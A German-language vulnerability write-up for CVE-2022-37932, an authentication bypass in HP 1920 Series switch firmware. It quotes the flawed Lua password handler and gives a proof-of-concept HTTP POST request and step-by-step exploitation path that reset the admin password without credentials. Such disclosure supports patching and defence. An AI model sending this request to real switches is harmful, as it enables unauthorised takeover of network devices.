Schwachstelle zur Umgehung der Authentifizierung in HP-Switch-Firmware

CVE-2022-37932

Firmware-Version: PD.02.21
Betroffene Geräte: HP 1920 Series Smart Managed Switches

Übersicht

Dieses Repository dokumentiert eine kritische Schwachstelle zur Umgehung der Authentifizierung in HP 1920 Series Smart Managed Switches mit Firmware-Version PD.02.21. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, das Admin-Passwort ohne vorherige Authentifizierung zu ändern und dadurch die vollständige Kontrolle über das Gerät zu übernehmen.

Technische Details

Die Schwachstelle existiert im Skript /login/default_password_cfg.lua, das die Änderung des Standardpassworts für das Gerät übernimmt. Dieses Skript:

1. Akzeptiert Formular-POST-Anfragen, ohne zu prüfen, ob der Benutzer authentifiziert ist
2. Verifiziert nur, dass der Parameter oldPwd mit dem Standardpasswort übereinstimmt (das leer/blank ist)
3. Ändert das Benutzerpasswort direkt basierend auf den POST-Parametern

Verwundbarer Code

Der entscheidende verwundbare Abschnitt in default_password_cfg.lua:

if (request_method == 'POST') then
  -- No authentication or session checks!
  
  local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
  -- ...

  if form_post.oldPwd ~= defaultPassword then
    errorStatus = "401 Unauthorized"
    errorText = label.old_password_mismatch
  else
    -- Proceeds to change password
    -- ...
  end
end

Dem Skript fehlen kritische Sicherheitskontrollen:

• Keine Sitzungsvalidierung
• Kein CSRF-Schutz
• Kein Rate Limiting
• Direkter Zugriff auf die Passwortänderungsfunktion ohne Authentifizierung

Proof of Concept

Ein Angreifer kann diese Schwachstelle mit einer einfachen HTTP-POST-Anfrage ausnutzen:

POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]

Hinweis: Der Parameter oldPwd wird leer gelassen, da das Standardpasswort leer ist.

Auswirkungen

Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer:

1. Das Admin-Passwort zu ändern, ohne irgendwelche Anmeldedaten zu kennen
2. Vollständige administrative Kontrolle über das Gerät zu erlangen
3. Den Switch zu konfigurieren, Netzwerkeinstellungen zu ändern und möglicherweise das gesamte Netzwerk zu kompromittieren

Ausnutzungspfad

1. Einen verwundbaren HP 1920 Series Switch im Netzwerk finden
2. Die präparierte HTTP-POST-Anfrage direkt an das Gerät senden
3. Das Admin-Passwort wird auf einen vom Angreifer kontrollierten Wert geändert
4. Der Angreifer kann sich nun mit dem neuen Passwort und vollen Admin-Rechten anmelden

Danksagung

Ich hatte noch keine Zeit zu recherchieren, wer diese Schwachstelle ursprünglich entdeckt hat. Ich veröffentliche hier nur einen Proof of Concept.

Rechtlicher Hinweis

Diese Informationen werden ausschließlich zu Bildungszwecken bereitgestellt. Der Autor ist nicht verantwortlich für eine missbräuchliche Verwendung dieser Informationen. Holen Sie stets eine ordnungsgemäße Genehmigung ein, bevor Sie auf Schwachstellen testen.